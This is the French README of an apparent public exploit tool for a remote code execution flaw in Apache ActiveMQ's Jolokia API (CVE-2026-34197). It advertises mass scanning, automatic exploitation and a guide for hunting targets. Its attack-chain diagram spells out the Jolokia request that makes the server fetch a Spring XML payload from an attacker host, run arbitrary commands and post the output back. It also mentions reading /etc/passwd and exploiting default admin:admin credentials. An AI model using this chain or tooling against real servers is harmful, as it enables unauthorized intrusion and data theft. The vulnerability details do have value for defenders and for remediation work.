Exploit pour Apache ActiveMQ RCE via l'API Jolokia (CVE-2026-34197) avec capture de sortie de commande, scan de masse et exploitation automatique.
Vue d'ensemble • Détails • Chaîne d'attaque • Démarrage rapide • Guide ATTACKER_IP • Utilisation • Capture de sortie • Scanner • Chasse • Détection • Remédiation
CVE-2026-34197 est une vulnérabilité critique d'exécution de code à distance (RCE) dans Apache ActiveMQ Classic qui permet à un attaquant authentifié d'exécuter des commandes arbitraires du système d'exploitation via l'API Jolokia exposée sur la console web.
La vulnérabilité existe depuis plus de 13 ans et réside dans l'interaction entre Jolokia (pont HTTP-JMX), les MBeans ActiveMQ, les connecteurs réseau et le transport VM.
[!CAUTION] Il s'agit d'un premier PoC public développé par KONDOR DEV SECURITY. À utiliser uniquement dans le cadre d'évaluations de sécurité autorisées.
id, whoami, cat /etc/passwd) affichent automatiquement leur sortie dans votre terminalversion_check.py) — détection de version multithread + exploitation ciblée| ID CVE | CVE-2026-34197 |
| Sévérité | |
| Type | Exécution de code à distance (RCE) |
| CWE | CWE-20 (Validation d'entrée incorrecte) / CWE-94 (Injection de code) |
| Affecté | ActiveMQ Classic < 5.19.4 et 6.0.0 — 6.2.2 |
| Corrigé | 5.19.4 / 6.2.3 |
| Authentification requise | Oui (les identifiants par défaut admin:admin sont courants) |
| Aucune authentification nécessaire | 6.0.0 — 6.1.1 (en raison de CVE-2024-32114) |
| Port par défaut | 8161 (console web) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### Décomposition étape par étape
| Étape | Action | Composant |
|:----:|--------|-----------|
| **1** | L'attaquant envoie un POST à `/api/jolokia/` invoquant `addNetworkConnector` sur le MBean Broker | API Jolokia |
| **2** | ActiveMQ traite l'URI de transport `vm://` et crée un broker éphémère avec `brokerConfig` pointant vers une URL distante | Transport VM |
| **3** | Le schéma `xbean:` déclenche le téléchargement d'un fichier de configuration Spring XML depuis le serveur de l'attaquant | Spring / XBean |
| **4** | Spring instancie tous les beans du XML, y compris un qui appelle `Runtime.getRuntime().exec()` | Contexte Spring |
| **5** | Pour les commandes simples, la sortie est capturée et renvoyée via HTTP POST à l'écouteur de l'attaquant (automatique) | Capture de sortie |
---
## Structure du projet```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md